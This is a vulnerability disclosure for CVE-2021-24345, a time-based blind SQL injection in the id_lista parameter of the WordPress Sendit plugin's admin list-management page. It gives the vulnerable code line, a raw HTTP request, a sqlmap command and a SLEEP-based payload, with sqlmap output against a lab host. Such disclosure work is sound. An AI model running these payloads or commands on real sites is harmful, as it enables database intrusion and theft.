

[Wp Plugin Sendit](#)

Plugin Details

Plugin Name: [wp-plugin: sendit](#)

Effectuated Version : 2.5.1 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Administrator

CVE Number : CVE-2021-24345

Identified by : [Shreya Pohekar](#)

[WPScan Reference URL](#)

Disclosure Timeline

- April 28, 2021: Issue Identified and Disclosed to WPScan
- April 29, 2021: Plugin Closed
- May 24, 2021: CVE Assigned
- May 27, 2021: Public Disclosure

Technical Details

The page [lists-management](#) available to Administrator user does not sanitise, validate or escape the id_list POST parameter before using it in SQL statement, therefore leading to Blind SQL Injection.

Vulnerable File: admin-core.php

Vulnerable Code: [admin-core.php#L110](#)

```
110: $ins= $wpdb->query("delete from $table_liste where id_lista = $_POST[id_lista]");
```

SQL Injection Type: Blind Time based SQL Injection

PoC Screenshot

```
[04:39:41] [INFO] POST parameter 'id_lista' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[04:39:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[04:39:57] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[04:39:58] [INFO] checking if the injection point on POST parameter 'id_lista' is a false positive
N
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
--
Parameter: id_lista (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id_lista=1 AND (SELECT 7326 FROM (SELECT(SLEEP(5)))GNOx)&com=DEL
--
[04:40:46] [INFO] the back-end DBMS is MySQL
[04:40:46] [INFO] fetching banner
[04:40:46] [INFO] retrieved:
[04:40:46] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[04:41:04] [INFO] adjusting time delay to 1 second due to good response times
8.0.23-0ubuntu0.20.04.1
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.23-0ubuntu0.20.04.1'
[04:42:53] [INFO] fetching current user
[04:42:53] [INFO] retrieved: bob@localhost
current user: 'bob@localhost'
[04:43:42] [INFO] fetching current database
[04:43:42] [INFO] retrieved: wp
current database: 'wp'
```

Exploit

Vulnerable Request

```
POST /wp-admin/admin.php?page=lists-management HTTP/1.1
Host: 172.28.128.50
Content-Length: 18
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Referer: http://172.28.128.50/wp-admin/admin.php?page=lists-management&delete=1&id_lista=2
Accept-Language: en-US,en;q=0.9
Cookie: spf-last-metabox-tab-12--sptp_generator=_sptp_generator_1; spf-last-metabox-tab-14--sptp_generator=_sptp_generator_1;
Connection: close
```

id_lista=1&com=DEL

SQLmap command

```
sqlmap -r sendit.req --dbms mysql --current-user --current-db -b -p id_lista --batch
```

SQLMap Output

sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:

Parameter: id_lista (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id_lista=1 AND (SELECT 7326 FROM (SELECT(SLEEP(5)))GN0X)&com=DEL